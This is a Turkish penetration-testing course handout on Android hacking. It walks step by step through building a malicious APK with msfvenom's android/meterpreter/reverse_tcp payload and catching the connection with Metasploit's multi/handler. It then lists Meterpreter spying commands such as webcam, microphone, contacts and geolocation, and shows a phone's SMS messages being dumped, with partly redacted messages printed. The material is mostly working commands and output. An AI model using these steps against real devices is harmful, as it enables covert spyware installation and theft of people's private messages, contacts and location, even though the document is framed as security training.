



# Certified Penetration Testing Engineer (CPTE) Eğitimi

MOBILE HACKING

## Android Nedir

- Google ve Open Handset Alliance tarafından, mobil cihazlar için geliştirilmektedir.

## ANDROID HACKING

İlk olarak terminal satırı açılır ardından ise “**msfvenom android/meterpreter/reverse\_tcp LHOST= <saldırgan IP> LPORT= <saldırgan PORT> R > /root/Desktop/isim.apk <save edilecek path>**” şeklinde zararlı apk dosyası oluşturulur.

```
root@ENESASLANBAKAN: ~  
File Edit View Search Terminal Help  
root@ENESASLANBAKAN:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.9 LPORT=4444 R > /root/Desktop/enes.apk  
No platform was selected, choosing Msf::Module::Platform::Android from the payload  
No Arch selected, selecting Arch: dalvik from the payload  
No encoder or badchars specified, outputting raw payload  
Payload size: 8804 bytes  
root@ENESASLANBAKAN:~# p
```

"**msfconsole**" komutu ile metasploit'i çalıştırılır ve "**use exploit/multi/handler**" şeklinde dinleme adımına geçilir.

```
root@Hackings: ~  
File Edit View Search Terminal Help  
=[ metasploit v4.11.1-2015031001 [core:4.11.1.pre.2015031001 api:1.0.0]]  
+ -- --=[ 1421 exploits - 891 auxiliary - 243 post ]  
+ -- --=[ 361 payloads - 37 encoders - 8 nops ]  
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]  
  
msf > use multi/handler  
msf exploit(handler) > show options  
  
Module options (exploit/multi/handler):  
  
Name Current Setting Required Description  
----  
  
Exploit target:  
  
Id Name  
--  
0 Wildcard Target
```

Msfvenom'da belirtilen port,ip,payload bilgiler gelen bağlantıyı karşılamak için belirtilmelidir. Bunun için “**set payload android/meterpreter/reverse\_tcp**”, “**set LHOST <saldırganIP>**”, “**set LPORT <SaldırganPORT>**”, “**exploit <Dinleme başlatılır.>**”

```
root@Hackings: ~
File Edit View Search Terminal Help
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf exploit(handler) > show options

Module options (exploit/multi/handler):

  Name  Current Setting  Required  Description
  ----  -
  Name  Current Setting  Required  Description
  ----  -
  AutoLoadAndroid  true            yes       Automatically load the Android ex
tension
  LHOST            4444            yes       The listen address
  LPORT            4444            yes       The listen port
  RetryCount       10              yes       Number of trials to be made if co
nnection failed

Exploit target:

  Id  Name
  --  ---
  0    Wildcard Target

msf exploit(handler) > set LHOST 192.168.1.8
LHOST => 192.168.1.8
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
```

Hedef sistem oluşturulan zararlı dosyayı çalıştırması ile gelen bağlantı aşağıdaki gibidir.

```
root@Hackings: ~
File Edit View Search Terminal Help
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.8:4444
[*] Starting the payload handler...
[*] Sending stage (44648 bytes) to 192.168.1.2
[*] Meterpreter session 2 opened (192.168.1.8:4444 -> 192.168.1.2:53005) at 2016
-03-24 18:54:03 +0200

meterpreter > help
```

Meterpreter satırı üzerinde yapılabilecek post exploitation modüllerini görüntülemek için "help" komutu kullanılır.

```
root@Hackings: ~
File Edit View Search Terminal Help
Stdapi: System Commands
=====
Command      Description
-----
execute      Execute a command
getuid       Get the user that the server is running as
ps           List running processes
shell        Drop into a system command shell
sysinfo      Gets information about the remote system, such as OS

Stdapi: Webcam Commands
=====
Command      Description
-----
record_mic   Record audio from the default microphone for X seconds
webcam_chat  Start a video chat
webcam_list  List webcams
webcam_snap  Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam

Android Commands
=====
Command      Description
-----
check_root   Check if device is rooted
dump_calllog Get call log
dump_contacts Get contacts list
dump_sms     Get sms messages
geolocate    Get current lat-long using geolocation
```

Örnek olarak telefon üzerindeki SMS'lerin görüntülenmesi için "dump\_sms" modülü çalıştırılır.

```
meterpreter > dump_sms
[*] Fetching 164 sms messages
[*] Sms messages saved to: sms_dump_20160324185457.txt
```

Meterpreter satırı üzerinde eğer bir veri download edildi ise default olarak /root/ dizinine kayıt edilmektedir. Download edilen txt dump dosyasını okumak için "cat isim.txt" şeklinde kullanılır. Aşağıda görüldüğü gibi telefon üzerindeki sms'ler dump edilmiştir.

```
Applications Places Thu Mar 24, 7:13 PM root
sms_dump_20160324185457.txt (*) - gedit
File Edit View Search Tools Documents Help
Open Save Undo
sms_dump_20160324185457.txt x
[+] Sms messages dump
Date: 2016-03-24 18:54:58 +0200
OS: Android 5.1.1 - Linux 3.4.0-perf-gbe52486 (armv7l)
Remote IP: 192.168.1.2
Remote Port: 53805

#1
Type : Incoming
Date : 2016-03-23 17:11:10
Address : MOBILFATURA
Status : NOT_RECEIVED
Message : Degerli musterimiz, mobil hat faturalarin son suresi dolmus guncel hat faturasini online yapiyoruz
mobil hat faturalarin son suresi dolmus guncel hat faturasini online yapiyoruz, Faturalarinizi mobil hattinizden online arayarak odeyebilirsiniz.

#2
Type : Outgoing
Date : 2016-03-23 13:48:12
Address : +905 XXXXXX
Status : SUCCESS
Message : B XXXXXX

#3
Type : Incoming
Date : 2016-03-23 11:39:30
Address : GARANTI
Status : NOT_RECEIVED
```